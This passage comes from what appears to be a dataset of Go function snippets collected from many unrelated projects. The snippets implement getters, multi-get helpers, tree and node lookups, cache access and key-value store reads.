{\n\n\t// binary search\n\tlow := 0\n\thigh := len(*pc) - 1\n\tvar mid, cmp int\n\n\tfor low <= high {\n\t\tmid = (low + high) / 2\n\t\tcmp = strings.Compare(subpath, (*pc)[mid].name)\n\t\tif cmp == 0 {\n\t\t\treturn (*pc)[mid]\n\t\t} else if cmp < 0 {\n\t\t\thigh = mid - 1\n\t\t} else {\n\t\t\tlow = mid + 1\n\t\t}\n\t}\n\n\treturn nil\n}", "func (d *Release) fetch() map[string]interface{} {\n\tvar gap = struct {\n\t\tdata map[string]interface{}\n\t\tmu sync.Mutex\n\t}{\n\t\tdata: make(map[string]interface{}),\n\t}\n\tvar wg sync.WaitGroup\n\tfor k, v := range d.src {\n\t\twg.Add(1)\n\t\tgo func(k string, _ interface{}) {\n\t\t\tdefer wg.Done()\n\t\t\t// we arbitrary choose the first server as data reference.\n\t\t\tcv, found := d.to[0].Lookup(k)\n\t\t\tif !found {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tgap.mu.Lock()\n\t\t\tgap.data[k] = cv\n\t\t\tgap.mu.Unlock()\n\t\t}(k, v)\n\t}\n\twg.Wait()\n\n\treturn gap.data\n}", "func (c *Composite) GetChildren() []Node {\n\treturn append([]Node{}, c.Children...)\n}", "func (mavls *Store) Get(datas *types.StoreGet) [][]byte {\r\n\tvar tree *mavl.Tree\r\n\tvar err error\r\n\tvalues := make([][]byte, len(datas.Keys))\r\n\tsearch := string(datas.StateHash)\r\n\tif data, ok := mavls.trees.Load(search); ok && data != nil {\r\n\t\ttree = data.(*mavl.Tree)\r\n\t} else {\r\n\t\ttree = mavl.NewTree(mavls.GetDB(), true)\r\n\t\t//get接口也应该传入高度\r\n\t\t//tree.SetBlockHeight(datas.Height)\r\n\t\terr = tree.Load(datas.StateHash)\r\n\t\tmlog.Debug(\"store mavl get tree\", \"err\", err, \"StateHash\", common.ToHex(datas.StateHash))\r\n\t}\r\n\tif err == nil {\r\n\t\tfor i := 0; i < len(datas.Keys); i++ {\r\n\t\t\t_, value, exit := tree.Get(datas.Keys[i])\r\n\t\t\tif exit {\r\n\t\t\t\tvalues[i] = value\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn values\r\n}", "func (self *BTrie) Get(key []byte) (value interface{}) {\n\tif res, isMatch := self.drillDown(key, nil, nil); isMatch {\n\t\treturn res.leaf.value\n\t}\n\treturn nil\n}", "func (c *lazyClient) getNode(key string) (*etcd.Node, error) {\n\tfor k, n := range c.nodes {\n\t\tif strings.HasPrefix(key, k) {\n\t\t\treturn c.findNode(key, n)\n\t\t}\n\t}\n\tresponse, err := c.c.Get(key, true, true)\n\tif err != nil {\n\t\treturn nil, convertErr(err)\n\t}\n\tc.nodes[key] = response.Node\n\treturn c.findNode(key, response.Node)\n}", "func (g *Graph) get(key string) *Node {\n\treturn g.nodes[key]\n}", "func (bc *MemoryCache) GetMulti(names []string) []interface{} {\n\tvar rc []interface{}\n\tfor _, name := range names {\n\t\trc = append(rc, bc.Get(name))\n\t}\n\treturn rc\n}", "func (bc *MemoryCache) GetMulti(names []string) []interface{} {\n\tvar rc []interface{}\n\tfor _, name := range names {\n\t\trc = append(rc, bc.Get(name))\n\t}\n\treturn rc\n}", "func (nm *nodeMap) get(n node) *node {\n\tnm.Lock()\n\tm, ok := nm.nodes[n.hash]\n\tnm.Unlock()\n\n\tif !ok {\n\t\tm = &node{\n\t\t\thash: n.hash,\n\t\t\tstate: n.state,\n\t\t}\n\n\t\tnm.Lock()\n\t\tnm.nodes[n.hash] = m\n\t\tnm.Unlock()\n\t}\n\n\treturn m\n}", "func (t *TreeStorage) Read(ctx context.Context, ids []compact.NodeID) ([][]byte, error) {\n\tkeys := make([]spanner.KeySet, 0, len(ids))\n\tfor _, id := range ids {\n\t\tkeys = append(keys, spanner.Key{t.id, t.opts.shardID(id), packNodeID(id)})\n\t}\n\tkeySet := spanner.KeySets(keys...)\n\thashes := make([][]byte, 0, len(ids))\n\n\titer := t.c.Single().Read(ctx, \"TreeNodes\", keySet, []string{\"NodeHash\"})\n\tif err := iter.Do(func(r *spanner.Row) error {\n\t\tvar hash []byte\n\t\tif err := r.Column(0, &hash); err != nil {\n\t\t\treturn err\n\t\t}\n\t\thashes = append(hashes, hash)\n\t\treturn nil\n\t}); err != nil {\n\t\treturn nil, err\n\t}\n\treturn hashes, nil\n}", "func (p *CassandraClient) MultigetSlice(keys [][]byte, column_parent *ColumnParent, predicate *SlicePredicate, consistency_level ConsistencyLevel) (r map[string][]*ColumnOrSuperColumn, err error) {\n\tif err = p.sendMultigetSlice(keys, column_parent, predicate, consistency_level); err != nil {\n\t\treturn\n\t}\n\treturn p.recvMultigetSlice()\n}", "func multiGetTags(ctx context.Context, keys []*datastore.Key, cb func(*datastore.Key, *model.Tag) error) error {\n\ttags := make([]model.Tag, len(keys))\n\tfor i, k := range keys {\n\t\ttags[i] = model.Tag{\n\t\t\tID: k.StringID(),\n\t\t\tInstance: k.Parent(),\n\t\t}\n\t}\n\n\terrAt := func(idx int) error { return nil }\n\tif err := datastore.Get(ctx, tags); err != nil {\n\t\tmerr, ok := err.(errors.MultiError)\n\t\tif !ok {\n\t\t\treturn errors.Annotate(err, \"GetMulti RPC error when fetching %d tags\", len(tags)).Tag(transient.Tag).Err()\n\t\t}\n\t\terrAt = func(idx int) error { return merr[idx] }\n\t}\n\n\tfor i, t := range tags {\n\t\tswitch err := errAt(i); {\n\t\tcase err == datastore.ErrNoSuchEntity:\n\t\t\tcontinue\n\t\tcase err != nil:\n\t\t\treturn errors.Annotate(err, \"failed to fetch tag entity with key %s\", keys[i]).Err()\n\t\t}\n\t\tif err := cb(keys[i], &t); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (p NodeSet) Child() NodeSet {\n\tif p.Err != nil {\n\t\treturn p\n\t}\n\treturn NodeSet{Data: &childNodes{p.Data}}\n}", "func initChilds(values map[string]interface{}) map[string]interface{} {\r\n\ttypeName := values[\"TYPENAME\"].(string)\r\n\tstoreId := typeName[0:strings.Index(typeName, \".\")]\r\n\tprototype, _ := GetServer().GetEntityManager().getEntityPrototype(typeName, storeId)\r\n\tfor i := 0; i < len(prototype.Fields); i++ {\r\n\t\tif strings.HasPrefix(prototype.Fields[i], \"M_\") {\r\n\t\t\tisBaseType := strings.HasPrefix(prototype.FieldsType[i], \"xs.\") || strings.HasPrefix(prototype.FieldsType[i], \"[]xs.\") || strings.HasPrefix(prototype.FieldsType[i], \"enum:\")\r\n\t\t\tif !isBaseType {\r\n\t\t\t\tisRef := strings.HasSuffix(prototype.FieldsType[i], \":Ref\") || strings.HasSuffix(prototype.Fields[i], \"Ptr\")\r\n\t\t\t\tif !isRef {\r\n\t\t\t\t\tv := reflect.ValueOf(values[prototype.Fields[i]])\r\n\t\t\t\t\t// In case of an array of references.\r\n\t\t\t\t\tif v.IsValid() {\r\n\t\t\t\t\t\tif v.Type().Kind() == reflect.Slice {\r\n\t\t\t\t\t\t\tfor j := 0; j < v.Len(); j++ {\r\n\t\t\t\t\t\t\t\tif v.Index(j).Type().Kind() == reflect.Interface {\r\n\t\t\t\t\t\t\t\t\tif reflect.TypeOf(v.Index(j).Interface()).Kind() == reflect.String {\r\n\t\t\t\t\t\t\t\t\t\tif Utility.IsValidEntityReferenceName(v.Index(j).Interface().(string)) {\r\n\t\t\t\t\t\t\t\t\t\t\tv_, err := getEntityByUuid(v.Index(j).Interface().(string))\r\n\t\t\t\t\t\t\t\t\t\t\tif err == nil {\r\n\t\t\t\t\t\t\t\t\t\t\t\tvalues[prototype.Fields[i]].([]interface{})[j] = v_\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t// In case of a reference.\r\n\t\t\t\t\t\t\tif v.Type().Kind() == reflect.String {\r\n\t\t\t\t\t\t\t\t// Here I will test if the value is a valid reference.\r\n\t\t\t\t\t\t\t\tif Utility.IsValidEntityReferenceName(v.String()) {\r\n\t\t\t\t\t\t\t\t\tv_, err := getEntityByUuid(v.String())\r\n\t\t\t\t\t\t\t\t\tif err == nil {\r\n\t\t\t\t\t\t\t\t\t\tvalues[prototype.Fields[i]] = v_\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn values\r\n}", "func (db *DumbDB) GetMultiple(keys [][]byte, bucket string) (values [][]byte, err error) {\n\n\terr = db.dbP.View(func(tx *bolt.Tx) error {\n\t\tbkt := tx.Bucket([]byte(bucket))\n\t\tif bkt == nil {\n\t\t\tdb.err_log.Println(\"Bucket not created yet.\")\n\t\t\treturn bolt.ErrBucketNotFound\n\t\t}\n\n\t\tfor _, key := range keys {\n\t\t\tvalue := bkt.Get(key)\n\t\t\tif value != nil {\n\t\t\t\tvalues = append(values, value)\n\t\t\t} else {\n\t\t\t\tdb.err_log.Println(\"Could not find value for key:%s\", key)\n\t\t\t\tvalues = nil\n\t\t\t\treturn bolt.ErrInvalid\n\t\t\t}\n\t\t}\n\t\t// Will return empty array if no error occurred\n\t\treturn nil\n\t})\n\treturn\n}", "func Retrieve(t *testing.T, tp *Tapestry) {\n\ttp.Lock()\n\tkey, _, err1 := tp.RandKey()\n\tnode, _, err2 := tp.RandNode()\n\n\t//tests get functionality\n\tif err1 == nil && err2 == nil {\n\t\tblob, err := node.Get(key)\n\t\tif err != nil {\n\t\t\tErrorPrintf(t, \"%v during get %v (hash %v) from %v\", err, key, Hash(key), node)\n\t\t} else if !bytes.Equal(blob, tp.Blobs[key]) {\n\t\t\tt.Errorf(\"Data corruption during get %v (hash %v) from %v\", key, Hash(key), node)\n\t\t} else {\n\t\t\tOut.Printf(\"Get of key %v (hash %v) successful from %v\", key, Hash(key), node)\n\t\t}\n\t}\n\ttp.Unlock()\n}", "func (rc *Store) GetMulti(keys []string) [][]byte {\n\tvar rv [][]byte\n\tif rc.conn == nil {\n\t\tif err := rc.connectInit(); err != nil {\n\t\t\treturn nil\n\t\t}\n\t}\n\tmv, err := rc.conn.GetMulti(keys)\n\tif err == nil {\n\t\tfor _, v := range mv {\n\t\t\trv = append(rv, v.Value)\n\t\t}\n\t\treturn rv\n\t}\n\treturn rv\n}", "func (c *rawBridge) childLookup(out *fuse.EntryOut, n *Inode, context *fuse.Context) {\n\tn.Node().GetAttr((*fuse.Attr)(&out.Attr), n.Fileinfo(), context)\n\tn.mount.fillEntry(out)\n\n\tout.NodeId, out.Generation = inodeMap.Register(&n.handled)\n\tn.EventNodeUsed()\n\tif Debug {\n\t\tglog.V(0).Infoln(n.fileinfo.Name, \" childLookup,Register,EventNodeUsed\", out.NodeId, \" count:\", n.handled.count)\n\t}\n\tc.fsConn().verify()\n\tif out.Ino == 0 {\n\t\tout.Ino = out.NodeId\n\t}\n\tif out.Nlink == 0 {\n\t\t// With Nlink == 0, newer kernels will refuse link\n\t\t// operations.\n\t\tout.Nlink = 1\n\t}\n}", "func (n NamespacedMerkleTree) Get(nID namespace.ID) [][]byte {\n\t_, start, end := n.foundInRange(nID)\n\treturn n.leaves[start:end]\n}", "func (nemo *NEMO) HGetall(key []byte) ([][]byte, [][]byte, error) {\n\tvar n C.int\n\tvar fieldlist **C.char\n\tvar fieldlistlen *C.size_t\n\tvar vallist **C.char\n\tvar vallistlen *C.size_t\n\tvar cErr *C.char\n\tC.nemo_HGetall(nemo.c, goByte2char(key), C.size_t(len(key)), &n, &fieldlist, &fieldlistlen, &vallist, &vallistlen, &cErr)\n\tif cErr != nil {\n\t\tres := errors.New(C.GoString(cErr))\n\t\tC.free(unsafe.Pointer(cErr))\n\t\treturn nil, nil, res\n\t}\n\n\tif n == 0 {\n\t\treturn nil, nil, nil\n\t}\n\treturn cstr2GoMultiByte(int(n), fieldlist, fieldlistlen), cstr2GoMultiByte(int(n), vallist, vallistlen), nil\n}", "func (kvConn *KVConn) GetChildren(node string, parentHash string) (children []string) {\n\t// TODO\n\tlogger.Printf(\"GetChildren - Node %v ParentHash %v\\n\", node, parentHash)\n\targs := &types.GetChildrenArgs{Node: node, ParentHash: parentHash}\n\tvar reply types.GetChildrenReply\n\tfor i, n := range kvConn.nodes {\n\t\tif n == node {\n\t\t\tcall := kvConn.clients[i].Go(\"ClientServer.GetChildren\", args, &reply, nil)\n\t\t\tselect {\n\t\t\tcase <-call.Done:\n\t\t\t\treturn reply.Children\n\t\t\tcase <-time.After(2 * time.Second):\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t}\n\t}\n\n\treturn []string{\"\"}\n}", "func (n *metadataNode) traverse(md []*api.PrefixMetadata, cb func(*metadataNode, []*api.PrefixMetadata) (bool, error)) error {\n\tn.assertFrozen()\n\n\tif md == nil {\n\t\tmd = n.metadata() // calculate from scratch\n\t} else {\n\t\tif n.md != nil {\n\t\t\tmd = append(md, n.md) // just extend what we have\n\t\t}\n\t}\n\n\tswitch cont, err := cb(n, md); {\n\tcase err != nil:\n\t\treturn err\n\tcase !cont:\n\t\treturn nil\n\t}\n\n\tkeys := make([]string, 0, len(n.children))\n\tfor k := range n.children {\n\t\tkeys = append(keys, k)\n\t}\n\tsort.Strings(keys)\n\n\tfor _, k := range keys {\n\t\tif err := n.children[k].traverse(md, cb); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func d13getBranches(node *d13nodeT, branch *d13branchT, parVars *d13partitionVarsT) {\n\t// Load the branch buffer\n\tfor index := 0; index < d13maxNodes; index++ {\n\t\tparVars.branchBuf[index] = node.branch[index]\n\t}\n\tparVars.branchBuf[d13maxNodes] = *branch\n\tparVars.branchCount = d13maxNodes + 1\n\n\t// Calculate rect containing all in the set\n\tparVars.coverSplit = parVars.branchBuf[0].rect\n\tfor index := 1; index < d13maxNodes+1; index++ {\n\t\tparVars.coverSplit = d13combineRect(&parVars.coverSplit, &parVars.branchBuf[index].rect)\n\t}\n\tparVars.coverSplitArea = d13calcRectVolume(&parVars.coverSplit)\n}", "func (client *MemcachedClient4T) Gets(key string) (item common.Item, err error) {\n\titems, err := client.parse.Retrieval(\"gets\", []string{key})\n\n\tif err == nil {\n\t\tvar ok bool\n\t\tif item, ok = items[key]; !ok {\n\t\t\terr = fmt.Errorf(\"Memcached : no data error\")\n\t\t}\n\t}\n\n\treturn\n}", "func (s *FrontendServer) Get(ctx context.Context, req *pb.GetRequest) (*pb.GetResponse, error) {\n\tvar err error\n\tvar returnErr error = nil\n\tvar returnRes *pb.GetResponse\n\tvar res *clientv3.GetResponse\n\tvar val string\n\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\tdefer cancel()\n\tkey := req.GetKey()\n\tswitch req.GetType() {\n\tcase utils.LocalData:\n\t\tres, err = s.localSt.Get(ctx, key) // get the key itself, no hashes used\n\t\t// log.Println(\"All local keys in this edge group\")\n\t\t// log.Println(s.localSt.Get(ctx, \"\", clientv3.WithPrefix()))\n\tcase utils.GlobalData:\n\t\tisHashed := req.GetIsHashed()\n\t\tif s.gateway == nil {\n\t\t\treturn returnRes, fmt.Errorf(\"RangeGet request failed: gateway node not initialized at the edge\")\n\t\t}\n\t\tstate, err := s.gateway.GetStateRPC()\n\t\tif err != nil {\n\t\t\treturn returnRes, fmt.Errorf(\"failed to get state of gateway node\")\n\t\t}\n\t\tif state < dht.Ready { // could happen if gateway node was created but didnt join dht\n\t\t\treturn returnRes, fmt.Errorf(\"edge node %s not connected to dht yet or gateway node not ready\", s.print())\n\t\t}\n\t\t// log.Println(\"All global keys in this edge group\")\n\t\t// log.Println(s.globalSt.Get(ctx, \"\", clientv3.WithPrefix()))\n\t\tif !isHashed {\n\t\t\tkey = s.gateway.Conf.IDFunc(key)\n\t\t}\n\t\tans, er := s.gateway.CanStoreRPC(key)\n\t\tif er != nil {\n\t\t\tlog.Fatalf(\"Get request failed: communication with gateway node failed\")\n\t\t}\n\t\tif ans {\n\t\t\tres, err = s.globalSt.Get(ctx, key)\n\t\t} else {\n\t\t\tval, err = s.gateway.GetKVRPC(key)\n\t\t}\n\t}\n\t// cancel()\n\treturnErr = checkError(err)\n\tif (res != nil) && (returnErr == nil) {\n\t\t// TODO: what if Kvs returns more than one kv-pair, is that possible?\n\t\tif len(res.Kvs) > 0 {\n\t\t\tkv := res.Kvs[0]\n\t\t\tval = string(kv.Value)\n\t\t\t// log.Printf(\"Key: %s, Value: %s\\n\", kv.Key, kv.Value)\n\t\t\treturnRes = &pb.GetResponse{Value: val, Size: int32(len(val))}\n\t\t} else {\n\t\t\treturnErr = status.Errorf(codes.NotFound, \"Key Not Found: %s\", req.GetKey())\n\t\t}\n\t} else {\n\t\tif returnErr == nil {\n\t\t\t// we already have the value from a remote group\n\t\t\treturnRes = &pb.GetResponse{Value: val, Size: int32(len(val))}\n\t\t}\n\t}\n\treturn returnRes, returnErr\n}", "func (c Redis) GetMulti(keys ...string) ([]cache.Item, error) {\n\tval, err := c.conn.MGet(keys...).Result()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ti := []cache.Item{}\n\tfor _, v := range val {\n\t\tvar err = cache.ErrCacheMiss\n\t\tvar b []byte\n\t\tif v != nil {\n\t\t\tb = []byte(v.(string))\n\t\t\terr = nil\n\t\t}\n\n\t\ti = append(i, cache.NewItem(c.dec, b, err))\n\t}\n\n\treturn i, nil\n}", "func GetChildren(db *sql.DB, id int64) ([]Node, error) {\n\tvar sql bytes.Buffer\n\tsql.WriteString(selectSQL)\n\tsql.WriteString(\"pid=?\")\n\n\trows, err := query(db, sql.String(), id)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tchildren := make([]Node, 0, len(rows))\n\tfor _, r := range rows {\n\t\tchildren = append(children, Node{\n\t\t\tID: atoi64(r[\"id\"]),\n\t\t\tNode: r[\"node\"],\n\t\t\tParentID: atoi64(r[\"pid\"]),\n\t\t\tDepth: atoi(r[\"depth\"]),\n\t\t\tNumChildren: (atoi(r[\"rgt\"]) - atoi(r[\"lft\"]) - 1) / 2,\n\t\t})\n\t}\n\treturn children, nil\n}", "func (memtable *Memtable) Get(data Comparable) Comparable {\n\treturn get(memtable.Root, data)\n}", "func (db *DB) Get(key string, bucket ...string) Value {\n\tdb.mux.RLock()\n\tdefer db.mux.RUnlock()\n\tb := &db.root\n\tfor _, bn := range bucket {\n\t\tif b = b.Buckets[bn]; b == nil {\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn b.Get(key)\n}", "func Get() []Metric {\n\tsingleton.mu.Lock()\n\thosts := singleton.hosts\n\tsingleton.mu.Unlock()\n\n\treturn hosts\n}", "func (entries Entries) get(key uint64) Entry {\n\ti := entries.search(key)\n\tif i == len(entries) {\n\t\treturn nil\n\t}\n\n\tif entries[i].Key() == key {\n\t\treturn entries[i]\n\t}\n\n\treturn nil\n}", "func (local *Node) Get(key string) ([]byte, error) {\n\t// Lookup the key\n\treplicas, err := local.Lookup(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(replicas) == 0 {\n\t\treturn nil, fmt.Errorf(\"No replicas returned for key %v\", key)\n\t}\n\n\t// Contact replicas\n\tvar errs []error\n\tfor _, replica := range replicas {\n\t\tblob, err := replica.BlobStoreFetchRPC(key)\n\t\tif err != nil {\n\t\t\terrs = append(errs, err)\n\t\t}\n\t\tif blob != nil {\n\t\t\treturn *blob, nil\n\t\t}\n\t}\n\n\treturn nil, fmt.Errorf(\"Error contacting replicas, %v: %v\", replicas, errs)\n}", "func (c *RolesChanges) get(id uint64) *client.NodeInfo {\n\tfor node := range c.State {\n\t\tif node.ID == id {\n\t\t\treturn &node\n\t\t}\n\t}\n\treturn nil\n}", "func (s *Storage) MGet(keys ...[]byte) ([][]byte, error) {\n\tsnap := s.db.NewSnapshot()\n\topts := gorocksdb.NewDefaultReadOptions()\n\topts.SetSnapshot(snap)\n\n\tdefer func() {\n\t\ts.db.ReleaseSnapshot(snap)\n\t\topts.Destroy()\n\t}()\n\n\tvals := make([][]byte, len(keys))\n\tfor i, key := range keys {\n\t\tb, err := s.db.GetBytes(opts, key)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvals[i] = b\n\t}\n\n\treturn vals, nil\n}", "func (l *DList) get(i int) *dnode {\n\tif i < l.n/2 {\n\t\tn := l.r.n\n\t\tfor j := 0; j < i; j++ {\n\t\t\tn = n.n\n\t\t}\n\t\treturn n\n\t}\n\tn := l.r\n\tfor j := l.n; j > i; j-- {\n\t\tn = n.p\n\t}\n\treturn n\n}", "func (*GetField) Children() []sql.Expression {\n\treturn nil\n}", "func (c *typeReflectCache) get() reflectCacheMap {\n\treturn c.value.Load().(reflectCacheMap)\n}", "func (k Keeper) get(store sdk.KVStore, resourceHash hash.Hash) (*ownership.Ownership, error) {\n\titer := store.Iterator(nil, nil)\n\tvar own *ownership.Ownership\n\tfor iter.Valid() {\n\t\tif err := k.cdc.UnmarshalBinaryLengthPrefixed(iter.Value(), &own); err != nil {\n\t\t\treturn nil, sdkerrors.Wrapf(sdkerrors.ErrJSONUnmarshal, err.Error())\n\t\t}\n\t\tif own.ResourceHash.Equal(resourceHash) {\n\t\t\titer.Close()\n\t\t\treturn own, nil\n\t\t}\n\t\titer.Next()\n\t}\n\titer.Close()\n\treturn nil, nil\n}", "func (me *BST) Get(k Comparable) interface{} {\n if node := bstGet(me.root, k); node != nil {\n return node.value\n }\n return nil\n}", "func (self *BpNode) put(key types.Hashable, value interface{}) (root *BpNode, err error) {\n\ta, b, err := self.insert(key, value)\n\tif err != nil {\n\t\treturn nil, err\n\t} else if b == nil {\n\t\treturn a, nil\n\t}\n\t// else we have root split\n\troot = NewInternal(self.NodeSize())\n\troot.put_kp(a.keys[0], a)\n\troot.put_kp(b.keys[0], b)\n\treturn root, nil\n}", "func (s *Storage) MGet(keys ...[]byte) ([][]byte, error) {\n\tvar values [][]byte\n\tfor _, key := range keys {\n\t\tvalues = append(values, s.kv.Get(key))\n\t}\n\n\treturn values, nil\n}", "func (n *Node) Get(key string) *Node {\n\tfor _, node := range n.nodes {\n\t\tif node.key == key {\n\t\t\treturn node\n\t\t}\n\t}\n\treturn nil\n}", "func (t *strideTable[T]) getOrCreateChild(addr uint8) *strideTable[T] {\n\tidx := hostIndex(addr)\n\tif t.entries[idx].child == nil {\n\t\tt.entries[idx].child = new(strideTable[T])\n\t\tt.refs++\n\t}\n\treturn t.entries[idx].child\n}", "func GetMulti(ctx context.Context, kx interface{}) (RoleTypes, error) {\n\trts := make(RoleTypes)\n\tif kx, ok := kx.([]*datastore.Key); ok {\n\t\trtx := make([]*RoleType, len(kx))\n\t\t// RETURNED ENTITY LIMIT COULD BE A PROBLEM HERE !!!!!!!!!!!!!!!!!!!!!!!!!!\n\t\terr := datastore.GetMulti(ctx, kx, rtx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor i, v := range rtx {\n\t\t\tv.ID = kx[i].StringID()\n\t\t\trts[v.ID] = v\n\t\t}\n\t\treturn rts, err\n\t}\n\tq := datastore.NewQuery(\"RoleType\").\n\t\tOrder(\"-Created\")\n\tfor it := q.Run(ctx); ; {\n\t\trt := new(RoleType)\n\t\tk, err := it.Next(rt)\n\t\tif err == datastore.Done {\n\t\t\treturn rts, err\n\t\t}\n\t\tif err != nil {\n\t\t\treturn rts, err\n\t\t}\n\t\trt.ID = k.StringID()\n\t\trts[rt.ID] = rt\n\t}\n}", "func (s *Server) Get(ctx context.Context, req *datapb.GetReq) (*datapb.GetResp, error) {\n\tinstance := s.getGroupInstance(req.GroupId)\n\tif instance == nil {\n\t\treturn nil, errors.New(fmt.Sprintf(\"group %s not found\", req.GroupId))\n\t}\n\tinstance.RLock()\n\tdefer instance.RUnlock()\n\tif instance.status != PRIMARY {\n\t\treturn nil, errors.New(fmt.Sprintf(\"not leader, leader is %s\", instance.primary))\n\t}\n\t// commit at once, so no need to check commit sn\n\tv, err := instance.engine.Get(encodeDataKey(req.Key))\n\treturn &datapb.GetResp{\n\t\tValue: v,\n\t}, err\n}", "func (t *ArtNodeMinerRPC) GetChildrenRPC(args *shared.Args, reply *shared.GetChildrenReply) error {\n\t// TODO change blocks into existingBlockHashes eventually\n\tfmt.Println(\"Get Children RPC\")\n\tfmt.Println(childrenMap)\n\t_, ok := childrenMap[args.BlockHash]\n\tif !ok {\n\t\t// if does not exists return empty reply\n\t\treturn nil\n\t}\n\t// loop through list of blocks\n\treply.Data = childrenMap[args.BlockHash]\n\treply.Found = true\n\treturn nil\n}", "func (m *Map) MGet(dots []Dot) map[Dot]*Container {\n\titems := make(map[Dot]*Container)\n\n\tfor _, dot := range dots {\n\t\tif !m.area.ContainsDot(dot) {\n\t\t\tcontinue\n\t\t}\n\n\t\tp := atomic.LoadPointer(m.fields[dot.Y][dot.X])\n\t\tif !fieldIsEmpty(p) {\n\t\t\tcontainer := (*Container)(p)\n\t\t\titems[dot] = container\n\t\t}\n\t}\n\n\treturn items\n}", "func (t *Transaction) GetMulti(keys []*datastore.Key, dst interface{}) (err error) {\n\treturn t.txn.GetMulti(keys, dst)\n}", "func (ck *Clerk) Get(key string) string {\n\targs := GetArgs{}\n\targs.Key = key\n\targs.ClientID = ck.clientID\n\targs.RequestID = ck.currentRPCNum\n\n\n\tfor {\n\t\tshard := key2shard(key)\n\t\tgid := ck.config.Shards[shard]\n\t\t// If the gid exists in our current stored configuration. \n\t\tif servers, ok := ck.config.Groups[gid]; ok {\n\t\t\t// try each server for the shard.\n\n\t\t\t\tselectedServer := ck.getRandomServer(gid)\n\t\t\t\tsrv := ck.make_end(servers[selectedServer])\n\t\t\t\t\n\t\t\t\tvar reply GetReply\n\t\t\t\tok := ck.sendRPC(srv, \"ShardKV.Get\", &args, &reply)\n\n\t\t\t\t// Wrong Leader (reset stored leader)\n\t\t\t\tif !ok || (ok && reply.WrongLeader == true) {\n\t\t\t\t\tck.currentLeader[gid] = -1\n\t\t\t\t}\n\n\t\t\t\t// Correct Leader\n\t\t\t\tif ok && reply.WrongLeader == false {\n\t\t\t\t\t//Update stored Leader\n\t\t\t\t\tck.currentLeader[gid] = selectedServer\n\n\t\t\t\t\t// Handle successful reply\n\t\t\t\t\tif (reply.Err == OK || reply.Err == ErrNoKey) {\n\t\t\t\t\t\tck.DPrintf1(\"Action: Get completed. Sent Args => %+v, Received Reply => %+v \\n\", args, reply)\n\t\t\t\t\t\t// RPC Completed so increment the RPC count by 1.\n\t\t\t\t\t\tck.currentRPCNum = ck.currentRPCNum + 1\n\n\n\t\t\t\t\t\treturn reply.Value\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Handle situation where wrong group.\n\t\t\t\tif ok && (reply.Err == ErrWrongGroup) {\n\t\t\t\t\t// ask master for the latest configuration.\n\t\t\t\t\tck.config = ck.sm.Query(-1)\n\t\t\t\t\ttime.Sleep(100 * time.Millisecond)\n\t\t\t\t}\n\n\t\t} else {\n\t\t\t// ask master for the latest configuration.\n\t\t\tck.config = ck.sm.Query(-1)\n\t\t\ttime.Sleep(100 * time.Millisecond)\n\t\t}\n\t}\n\n\tck.DError(\"Return from Get in ShardKV Client. Should never return from here.\")\n\treturn \"\"\n}", "func (p TreeWriter) getFields(leaf *yaml.RNode) (treeFields, error) {\n\tfieldsByName := map[string]*treeField{}\n\n\t// index nested and non-nested fields\n\tfor i := range p.Fields {\n\t\tf := p.Fields[i]\n\t\tseq, err := leaf.Pipe(&f)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif seq == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif fieldsByName[f.Name] == nil {\n\t\t\tfieldsByName[f.Name] = &treeField{name: f.Name}\n\t\t}\n\n\t\t// non-nested field -- add directly to the treeFields list\n\t\tif f.SubName == \"\" {\n\t\t\t// non-nested field -- only 1 element\n\t\t\tval, err := yaml.String(seq.Content()[0], yaml.Trim, yaml.Flow)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tfieldsByName[f.Name].value = val\n\t\t\tcontinue\n\t\t}\n\n\t\t// nested-field -- create a parent elem, and index by the 'match' value\n\t\tif fieldsByName[f.Name].subFieldByMatch == nil {\n\t\t\tfieldsByName[f.Name].subFieldByMatch = map[string]treeFields{}\n\t\t}\n\t\tindex := fieldsByName[f.Name].subFieldByMatch\n\t\tfor j := range seq.Content() {\n\t\t\telem := seq.Content()[j]\n\t\t\tmatches := f.Matches[elem]\n\t\t\tstr, err := yaml.String(elem, yaml.Trim, yaml.Flow)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t// map the field by the name of the element\n\t\t\t// index the subfields by the matching element so we can put all the fields for the\n\t\t\t// same element under the same branch\n\t\t\tmatchKey := strings.Join(matches, \"/\")\n\t\t\tindex[matchKey] = append(index[matchKey], &treeField{name: f.SubName, value: str})\n\t\t}\n\t}\n\n\t// iterate over collection of all queried fields in the Resource\n\tfor _, field := range fieldsByName {\n\t\t// iterate over collection of elements under the field -- indexed by element name\n\t\tfor match, subFields := range field.subFieldByMatch {\n\t\t\t// create a new element for this collection of fields\n\t\t\t// note: we will convert name to an index later, but keep the match for sorting\n\t\t\telem := &treeField{name: match}\n\t\t\tfield.matchingElementsAndFields = append(field.matchingElementsAndFields, elem)\n\n\t\t\t// iterate over collection of queried fields for the element\n\t\t\tfor i := range subFields {\n\t\t\t\t// add to the list of fields for this 